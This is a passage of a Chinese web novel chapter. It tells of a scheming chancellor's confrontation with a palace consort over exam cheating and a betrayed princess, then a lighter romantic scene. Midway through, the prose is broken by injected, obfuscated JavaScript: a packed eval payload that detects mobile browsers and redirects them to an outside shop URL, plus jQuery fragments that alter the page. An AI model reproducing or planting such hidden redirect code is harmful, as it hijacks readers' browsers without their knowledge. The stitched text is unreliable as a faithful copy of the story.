我追名逐利,不择手段;
我功成名就,万人敬仰;
我官至丞相。
***
单纯良气得发狠,绷紧指尖,死死指着贵妃:“结果,他就是烂泥扶不上墙。不中用的东西!我随便扶持一个人都比他强!”
“你凭什么这么说我儿子!单纯良,你凭什么?!”贵妃一头撞上单纯良的腰,对着他又掐又拧。
“你这个疯女人。”
尊贵的贵妃和敬重的左相扭打成一团。
贵妃掀掀自己成结的头发,对着单纯良破口大骂:“你以为,走到这一步了,你还下得了船?”
女人嘲讽:“单纯良,我们早就是一根绳上的蚂蚱了!早在你考取功名,夺得状元的那一天起,我们就死死栓在了一根绳上。”
“你什么意思?”
贵妃极其嘲讽地拍拍单纯良的脸:“什么意思?你还有脸问我什么意思?有本事做,没胆子承认的狗东西。”
她继续说:“你借着长公主对你的喜欢,搭上了本宫这条线,又借着本宫,帮你打探出圣上会在殿试上问的问题。”
“最后,你交出了一份堪称完美的答卷,在一众人里脱颖而出。”
“这些,你都忘了吗!”
“你对本宫的承诺也忘了吗!”
女人尖历的声音,带着每一个字狠狠凿进单纯良心里。
他像是被踩了尾的猫,瞬间跳脚:“是!我是答应过你——只要帮我问出最后一题的题目,来日,我就助你和你的儿子登上这皇城最尊贵的位置。”
单纯良的五官挤在一块儿,完全看不出人样,狰狞恐怖:“可是您别忘了,您除了帮我问到了题,其余的可什么也没做。”
“这丞相之位,是我!靠着我自己一步步爬上来的。”
“外界老说什么,是因为我对发妻的不离不弃才从圣上那儿获得契机。”
“是又怎样?!”他怒声质问:“我本来刚进京就想休了那个女人,正好长公主也对我一见钟情,谁不想攀高枝儿啊。”
“可正巧遇上皇后血崩而死,圣上那时又爱惨了皇后。”
“我便,我便想出了一个绝妙的法子……”
他越说越疯癫:“我想……如果这时候,我在殿试上夺得状元,又拒绝长公主的示爱,立住我对发妻的深情。那么,就一定会让圣上对我刮目相看,他一定会重用我!”
“是我自己,我自己……”单纯良双手抖在胸前,佝偻着身子,嗓音怪异:“我自己抓住了一切机遇,踩住了一切运气,凭着实力,爬上的丞相之位。”
入朝为官之人,大多都是世家子弟,就算有了科考,但世家对于朝堂的垄断依然存在。
而单纯良是唯一一个寒门出身,并且也是唯一一个从无权无势爬到一人之下万人之上的丞相。
还依稀记得,进京赶考时,那些世家子弟对他的冷嘲热讽,对他的拳打脚踢。
这些欺凌、辱骂,全被他吞进肚子,他憋着一口气,走上了所有人都羡慕的位置。
单纯良双手一摊,一脸满足,说:“我做到了。我在所有百姓的眼里都是一个好人——他们敬仰我,爱戴我,说我是清官;他们可怜我,心疼我,说我是最爱女儿的爹爹。”
“我,单纯良,左相,”他用力点点自己的心:“名副其实。”
贵妃听完这一通话,只能无力笑笑,她竟挑不出一丝错来。
是啊,不仅在圣上眼里,连在万千的百姓眼里,单纯良都是一个勤政为民高风亮节的左相。
单纯良,你装得真好,你也骗得真好。
骗了天下人。
女人一下脱了力,眼神涣散,跪坐在地上。她伸手去拉左相的衣摆,仰着脸,低眉顺眼的恳求道:“本宫求你,求你助燕儿登上皇位。”
看着刚刚还高高在上的人,此时跪在地上,对他俯首帖耳,单纯良心里极其满足。
他嫌弃地扯走衣摆:“放心,我说到做到。还望娘娘将那件事守好了,一直守进棺椁里。”
只要毅王这个蠢货登上皇位,单纯良就能轻而易举的拥有一个提线木偶。
他,左相,又能高升一步。
单纯良洋洋得意的扇扇袖子走了,他跨出阴暗的大殿,走进阳光,浑身镀着金光,像“活佛”。
贵妃望着他远去的背影,呆坐在殿中央许久,久到日头西沉。
残败的阳光,稀稀拉拉洒进殿内。半明半暗的光照得贵妃一身红衣发黑。
裙摆处的血已经渐渐干涸变得发硬,全然没了精美华丽的样子,贵妃就这样穿在破烂的衣裳里。
慢慢腐烂,发臭,消散。
贵妃望着那残阳,忽然想到了她唯一的朋友——长公主。
那时,圣上选秀,她入选了,长公主替她高兴的同时又替她担心。
长公主说,皇宫,是个吃人不吐骨头的地方。
她那个时候年纪小,不懂。一心只想着圣上,想着总有一天会等来圣上的爱。
没想到,长公主的春天比她先来。
长公主说她爱上了一个人,是一见钟情。那个人是进京赶考的,虽是个寒门子弟,但玉树临风,学识渊博。她无可救药的爱上了他。
那个人叫单纯良,但是…他成亲了。
长公主很伤心,她原以为他们就此别过,可单纯良说:他们可以永远做朋友。他依旧会邀长公主赏花品茶,依旧会给长公主写诗……
那时,长公主觉得他们已经和寻常夫妻无异了。长公主想,单纯良应该不爱他的妻了,长公主可以去求求圣上,让圣上成全他们俩。
长公主还带着单纯良见了现如今的贵妃。那时的她第一眼见单纯良,也觉得单纯良很好,是个至纯至善之人。
但她看走眼了。
没过多久,单纯良悄悄找到她,求她,说:只要能帮他偷出殿试的题,他就可以助她登上贵妃之位。
她心动了,她瞒着长公主和单纯良做了交易。
果然,没多久,单纯良就中了状元,也当着全天下的人拒绝了长公主,说一切都是长公主一厢情愿。
长公主整个人都懵了。一厢情愿,那他们之间做的那些事算什么?
长公主从此郁郁寡欢,她被困在了一个名为单纯良的梏里。
那时候还是嫔的她,生气极了,气冲冲地去质问单纯良,甚至想杀了他。
可是单纯良拿出了一瓶药,说是青楼里的东西,能帮她。
她一猜就知道是什么。
她犹豫了,为了一己之私放过了单纯良。
最后,她果然成了贵妃,单纯良没骗她。
可是,长公主也因此有了心病,郁郁而终。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006218|186494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
长公主是被她和单纯良逼死的,她更可恶一点。
从此,这空荡荡的皇宫里,只有贵妃一人。
**
易安公主的人是早膳后来的,”说不急”这几个字只有危肆是真的听进去了。
他闹了点小脾气,非说沉缚好几餐都没吃他做的饭了。
其实也没有好几餐,就那么五六七八餐。危肆说,自己新研究出了一个糕点,非要现在立刻马上做给沉缚吃。
谷雨瞧他那狐媚劲儿又上来了,郡主的袖子被男人三两根手指钳着,轻轻拽动,旋在指尖。
不出所料,郡主点头同意。
谷雨暗骂男人:“祸国妖妃,红颜祸水。”
蓬勃的日头,就这样在小厨房缭绕的蒸汽里缓缓消失,天际边慢慢现出血色的残阳。
公主府又派了一个婢女:“郡主,易安公主说,这个时辰进宫怕是晚上就出不来了。还是邀您去公主府用晚膳。”
沉缚点点头,歉意的笑笑。
天将黑未黑时,云英郡主终于上了马车。
危肆似乎并未觉得自己做错了什么,他虽是故意拖延时间,但并不是不想让沉缚赴约。
要怪就怪右相之子看沉缚的眼神太过炽热,危肆只是不想让沉缚和许世嘉见面。
没曾想,时间还是没有拖够。
“唉——”危肆轻叹一声。
沉缚气不打一处来,干脆朝男人的腰踹了一脚。危肆吃痛,抬眼委屈巴巴看着人。
“你委屈什么?你叹气什么?”沉缚有些愠怒:“该委屈的人是易安才对。”
早晨邀约,硬生生被拖到傍晚才赴约。
危肆顶着圆圆的眼睛可怜兮兮看着她。黑色眸子里还蕴着些许水汽,眼睛像剥了皮的葡萄,晶莹剔透,说:
“我知道错了,我以后做糕点的动作肯定会再迅速一点。你不要生气了好不好?”
沉缚认命叹了口气,放软了语气:“我没有怪你做糕点做得慢,我只是觉得我们这样晚赴约,太没有时间观念了。”
“这样是不对的,对不对?”她也不知不觉挂上哄小孩的语气。
危肆垂着脑袋:“是我的不对,我待会儿会向公主赔礼道歉的。”但,他下次还敢。
危肆说完,依旧不肯抬头,他在装可怜。
以前他和沉缚吵架,不管吵得再凶,只要危肆装一装可怜,沉缚立刻就会心软。
果然,不出所料。
她看着危肆这副可怜样,又想起刚刚的那一脚,有些别扭地问:“你的腰……有没有事?”
男人偏过头,嘴硬道:“没事,不疼。”
“真的吗?”沉缚不信,那一脚她忘了收力,踹完之后,自己的脚都有些发麻,危肆肯定是伤到了。
危肆依然倔强,摆出一脸的无所谓:“没事啊。也许大概可能就是会肿一点,会青一点,会疼一点……反正我没事啊。”
沉缚:“……”
这是生气了。
她将人扒拉过来,面对自己。一瞧:面冷的渡生王正蹙眉瞪眼瘪嘴。她要再不哄,眼泪就要出来了。
沉缚哄:“我给你看看好不好?看看严不严重?”
有人的眉心展开了。
她又问:“是不是很疼?你让我看看吧。”
有人的嘴角上扬了。